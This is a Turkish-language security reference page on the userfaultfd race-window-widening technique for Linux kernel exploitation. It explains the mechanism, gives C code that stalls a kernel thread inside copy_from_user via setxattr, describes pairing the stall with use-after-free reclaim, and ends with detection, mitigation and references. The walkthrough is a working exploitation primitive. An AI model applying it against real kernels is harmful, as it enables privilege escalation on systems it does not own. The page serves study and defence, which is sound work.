userfaultfd race-window widening¶
userfaultfd()ile kernel execution'ıcopy_from_user()/copy_to_user()ortasında askıya al; mikroskobik bir race window'u deterministik kazanılacak kadar geniş bir pencereye çevir.
Mechanism¶
Neden çalışır
Normalde bir kernel→user race window (bir TOCTOU, bir UAF reclaim, bir freelist
overlap) yalnızca birkaç instruction genişliğindedir, dolayısıyla onu kazanmak
olasılıksal bir oyundur. userfaultfd bu kısıtı kırar. Unprivileged bir
process, userfaultfd(2) ile bir memory range'i register edip o range'in hiçbir
page'inin resident olmamasını sağlayabilir. Kernel'in kendisi o range'e
dokunduğunda — tipik olarak bir syscall'a hizmet ederken copy_from_user() /
copy_to_user() içinde — fault, kernel tarafından çözülmek yerine register edilmiş
fd'ye yönlendirilir.
Fault'a giren kernel thread'i o noktada syscall içinde süresiz bloke olur ve
userspace'in fault'a UFFDIO_COPY ile hizmet etmesini bekler. Saldırgan, fault'a
ne zaman hizmet edileceğini kontrol eder. İstismar edilen invariant şudur: bir
user address üzerindeki kernel-mode page fault'ın süresi saldırgan tarafından
kontrol edilir. Kernel o copy_*_user()'da park etmişken "açılan" herhangi bir
pencere artık efektif olarak sınırsızdır — saldırgan ikinci bir thread çalıştırır,
state'i değiştirir, heap'i groom eder, sonra fault'u release eder.
Bu, kör kazanılması neredeyse imkânsız olan race'leri deterministik primitive'lere
çevirir; bu yüzden pek çok LPE exploit'i (örn. CVE-2019-18683, birçok
setxattr/msg_msg spray'i) onu bir yapı taşı olarak kullanır.
Walkthrough¶
Yalnızca yetkili test
Yalnızca sahip olduğun bir kernel/VM üzerinde çalıştır. Modern kernel'ler bunu
vm.unprivileged_userfaultfd ve UFFD_USER_MODE_ONLY ile kapıya alır (bkz.
Mitigation).
1. Bir uffd region register et. fd'yi oluştur, bir page map'le ve onu register et ki otomatik doldurulmak yerine bir fault teslim edilsin:
int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_api api = { .api = UFFD_API };
ioctl(uffd, UFFDIO_API, &api);
void *page = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
struct uffdio_register reg = {
.range = { .start = (long)page, .len = 0x1000 },
.mode = UFFDIO_REGISTER_MODE_MISSING,
};
ioctl(uffd, UFFDIO_REGISTER, ®);
2. uffd page'ini kernel'e ver. page'i, onu içeri kopyalayan bir syscall'a
(örn. setxattr, write, adjtimex) user buffer olarak geçir. Kernel o page
üzerinde copy_from_user()'a ulaştığı an, fault'a giren thread park eder:
// runs in a worker thread; will BLOCK inside the kernel until we service it
setxattr("/tmp/x", "user.k", page, 0x1000, 0);
3. Fault'lara kendi takvimine göre hizmet et. Bir handler thread'i fd'yi
poll() eder; UFFD_EVENT_PAGEFAULT geldiğinde kernel syscall ortasında
donmuş durumdadır. Race işini yap, sonra release et:
struct uffd_msg msg;
read(uffd, &msg, sizeof msg); // kernel is now parked
if (msg.event == UFFD_EVENT_PAGEFAULT) {
/* ---- WINDOW IS OPEN: free/realloc/groom from another thread ---- */
do_the_racy_work(); // take all the time you need
struct uffdio_copy c = {
.dst = msg.arg.pagefault.address & ~0xfffUL,
.src = (long)src_payload, .len = 0x1000,
};
ioctl(uffd, UFFDIO_COPY, &c); // unblock the kernel thread
}
Beklenen davranış: syscall thread'i UFFDIO_COPY'ye kadar bloke görünür
(/proc/<tid>/stack'te D/S state, handle_userfault'ta park etmiş) ve böylece
race işine nanosaniye yerine milisaniye-saniye ölçeğinde bir pencere verir.
Sık görülen eşleştirme
Bir copy_from_user'ı stall ederken ikinci bir thread'in, o copy'nin içine
yazacağı object'in bir UAF free'sini tetiklemesi, copy gelmeden önce slot'u bir
spray ile reclaim etmene izin verir — kararsız bir double-free'yi kontrollü bir
overwrite'a çevirir.
Detection¶
- Bir user thread'inin
handle_userfault'ta bloke olması, aynı cache üzerinde başka bir thread'insetxattr/msg*/free yollarını dövmesiyle birlikte güçlü bir davranışsal sinyaldir. - Unprivileged context'lerden gelen
userfaultfd(2)çağrılarında audit/eBPF, özellikle kernel-mode fault handling ile (UFFD_USER_MODE_ONLYyokken).
Mitigation¶
UFFD_USER_MODE_ONLYflag'i (bir uffd'nin yalnızca user-mode fault'ları ele alması, kernel'in user buffer üzerinde aldığı fault'ları değil, için eklendi) stall primitive'ini kaldırırken meşru kullanımı korur.vm.unprivileged_userfaultfdsysctl'i: unprivileged userfaultfd'yi yasaklamak için0'a ayarla, ya da user-mode-only zorlamasını kullan ki unprivileged handler'lar kernel-mode fault'ları araya giremesin.- Birçok distro artık unprivileged uffd'yi varsayılan olarak kapalı tutar; uffd mevcut olmadığında FUSE benzer bir stall primitive'i sağlar (bkz. ilgili teknikler).
References¶
- LWN — Control over userfaultfd kernel-fault handling — https://lwn.net/Articles/835373/
- LWN — Blocking userfaultfd() kernel-fault handling — https://lwn.net/Articles/819834/
- Linux docs — Userfaultfd — https://docs.kernel.org/admin-guide/mm/userfaultfd.html